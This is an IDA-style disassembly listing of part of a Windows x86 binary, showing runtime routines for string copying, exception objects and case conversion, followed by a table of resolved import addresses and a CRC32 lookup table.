; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 26604F6h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE84, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE84
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC010, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC010, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB88C
		push	edi
		push	esi
		nop
		call	near ptr 2651132h
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC010, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC010
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 28410A4h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 28410A4h
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2651132h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2651132h
		nop
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	near ptr 2710000h
		nop
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE7C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC014
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC014, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 28410A4h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 28410A4h
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE84


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2620000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25F0000h, 2600000h, 2600AAAh, 2600B3Ah, 2600EEAh, 2610000h
		dd 2620000h, 262082Dh, 2620D20h, 2630000h, 263083Fh, 2630AB5h
dword_427030	dd 2630AD8h		; DATA XREF: ___:004239E2r
		dd 2630B54h, 2630DFFh, 2630E44h, 2640000h, 2650000h, 2651132h
		dd 2660000h, 26604F6h, 266088Ch, 26608C7h, 26608E0h, 2670000h
dword_427064	dd 2670443h		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 26705B4h		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 2670770h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 26709E4h, 2680000h, 2680A92h
dword_427080	dd 2680EF8h		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 2690000h		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
; ---------------------------------------------------------------------------
		jmp	short near ptr byte_42708B
; ---------------------------------------------------------------------------
		db 69h
byte_42708B	db 2			; CODE XREF: ___:00427088j
dword_42708C	dd 26902E0h		; DATA XREF: sub_419C09+B9r
		dd 269081Fh
dword_427094	dd 269086Bh		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 2690895h		; DATA XREF: ___:loc_4013DCr
		dd 2690D47h, 2690E7Eh
dword_4270A4	dd 26A0000h		; DATA XREF: sub_409909+2r
		dd 26A0168h, 26A01EFh
dword_4270B0	dd 26A07AFh		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 26A0846h		; DATA XREF: sub_4116D6:loc_4117C2r
		dd 26B0000h, 26B09DCh
dword_4270C0	dd 26B0AD3h		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26C0000h		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26D0000h, 26E0000h, 26F0000h, 26F0A80h, 77F7E300h, 77F7E21Fh
		dd 2700000h, 27001AFh
dword_4270E8	dd 2710000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 271129Ah		; DATA XREF: sub_4119F9+Br
		dd 2720000h, 27208DAh
dword_4270F8	dd 2730000h		; DATA XREF: sub_4187E0+36r
		dd 2730250h, 2730320h
dword_427104	dd 273094Dh		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2740000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 2750000h, 2760000h, 2760B9Eh, 2770000h, 27705BFh, 2780000h
		dd 2790000h, 27A0000h, 27A0B49h, 27A0E49h, 27B0000h, 27B011Ch
		dd 27B0379h, 27B0791h, 27C0000h
dword_427148	dd 27C02E1h		; DATA XREF: sub_4172C1+BCr
		dd 27D0000h
dword_427150	dd 27E0000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 27E0B98h		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 27E0C53h
dword_42715C	dd 27F0000h		; DATA XREF: sub_41761C+56r
		dd 27F02F6h, 2800000h, 2810000h, 281061Bh, 2810B24h, 2810E14h
		dd 2820000h, 28206BCh, 2830000h, 2840000h
dword_427188	dd 28410A4h		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 2841B88h, 2850000h, 28504F5h, 28507A1h, 2860000h, 2870000h
		dd 2880000h, 2890000h, 28919ACh, 28919DDh, 28A0000h, 28A0E1Bh
		dd 28B0000h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
